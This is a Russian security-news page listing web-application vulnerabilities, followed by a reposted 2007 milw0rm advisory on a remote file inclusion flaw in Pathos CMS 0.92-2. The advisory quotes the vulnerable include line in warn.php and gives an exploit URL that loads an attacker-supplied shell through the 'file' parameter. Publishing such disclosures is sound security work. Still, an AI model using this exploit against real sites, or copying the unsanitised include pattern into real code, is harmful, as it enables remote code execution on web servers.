Дополнительная информация

Ежедневная сводка ошибок в Web-приложениях (PHP, ASP, JSP, CGI, Perl )

PunBB <= 1.2.14 Multiple Vulnerabilities (Advisory)

phpGalleryScript 1.0 (init.gallery. php include_class) RFI Vulnerability

RFI Weatimages Hack

Crea-Book <= 1.0 Admin Access Bypass / DB Disclosure / Code Execution

From:	kezzap66345 <kezzap66345_(at)_hotmail.com>
Date:	11 апреля 2007 г.
Subject:	Pathos CMS 0.92-2 (warn.php file) Remote File Inclusion Vulnerability

Pathos Content Management System
*****************
Found by kezzap66345 *
*****************
*****************
Script download::    http://sourceforge.net/projects/pathos/
Direct link     :
http://sourceforge.net/project/showfiles.php?group_id=103303&package_id=11086
2&release_id=243512

*****************
*****************
ERROR#1:
File:warn.php
*****************

include_once($_GET['file'] . ".html");   <<< rfi coded


*********************************************************************************
*****
RFI#1:

http://SITE.com/path/warn.php?file=[SHELL]


*********************************************************************************
*****
*********************************************************************************
*****
Thanks:@_-_-_| i!..:: S.H.i.K.a.A ::..!i
****x0r0n**********..:a.j.a.n..:*************
*********************************************************************************
*****
*********************************************************************************
*****
*********************************************************************************
*****
*********************************************************************************
*****
******Thanx****SiiRCiCOCUK****str0ke*********************************************
*****

# milw0rm.com [2007-04-09]